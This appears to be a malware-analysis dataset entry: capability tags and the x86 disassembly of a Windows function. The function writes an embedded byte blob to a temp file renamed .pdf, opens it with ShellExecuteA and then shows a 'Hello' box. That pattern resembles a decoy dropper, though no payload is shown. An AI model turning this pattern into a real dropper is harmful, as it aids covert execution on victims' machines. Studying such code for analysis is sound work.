Function at 0x401460
Capabilities:
Create process on windows
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x384
lea eax, [ebp - 0x14d]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetTempPathA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401495
cmp dword [ebp - 0xc], 0x104
jbe 0x4014c6
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_get_temp_path.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov ebx, 1
jmp 0x4017b4
lea eax, [ebp - 0x251]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4060a0
lea eax, [ebp - 0x14d]
mov dword [esp], eax
call sym._GetTempFileNameA_16
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40152b
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_get_temp_file_name.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov ebx, 1
jmp 0x4017b4
lea eax, [ebp - 0x49]
mov ecx, eax
call fcn.00401960
lea eax, [ebp - 0x26c]
lea edx, [ebp - 0x49]
mov dword [esp + 4], edx
lea edx, [ebp - 0x251]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x49]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x26c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x2e
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::rfind_char__unsigned_int__const
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
je 0x4015f0
lea eax, [ebp - 0x30]
mov edx, dword [ebp - 0x14]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
lea edx, [ebp - 0x26c]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_int__unsigned_int__const
sub esp, 0xc
lea eax, [ebp - 0x48]
mov dword [esp + 8], str..pdf
lea edx, [ebp - 0x30]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea eax, [ebp - 0x26c]
lea edx, [ebp - 0x48]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x48]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x30]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x26c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 4], eax
lea eax, [ebp - 0x251]
mov dword [esp], eax
call sym._rename
test eax, eax
setne al
test al, al
je 0x401649
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Error_renaming_temporary_file
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov ebx, 1
jmp 0x4017a7
lea eax, [ebp - 0x364]
mov dword [esp + 4], 4
lea edx, [ebp - 0x26c]
mov dword [esp], edx
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
sub esp, 8
mov ecx, 0x410024
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov ebx, eax
mov dword [esp], 0
mov ecx, 0x410024
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator___unsigned_int__const
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x364]
mov dword [esp + 4], ebx
mov dword [esp], edx
mov ecx, eax
call sym.std::ostream::write_char_const__int_
sub esp, 8
mov edx, dword [eax]
sub edx, 0xc
mov edx, dword [edx]
add eax, edx
mov ecx, eax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x4016e8
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Failed_to_write_the_PDF_file.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov ebx, 1
jmp 0x40179a
lea eax, [ebp - 0x364]
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
lea eax, [ebp - 0x26c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0x20
jg 0x40176e
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.ShellExecute_failed.
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov ebx, 1
jmp 0x40179a
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Greeting
mov dword [esp + 4], str.Hello
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov ebx, 0
lea eax, [ebp - 0x364]
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
lea eax, [ebp - 0x26c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x401806
mov ebx, dword [ebp - 4]
leave
ret 0x10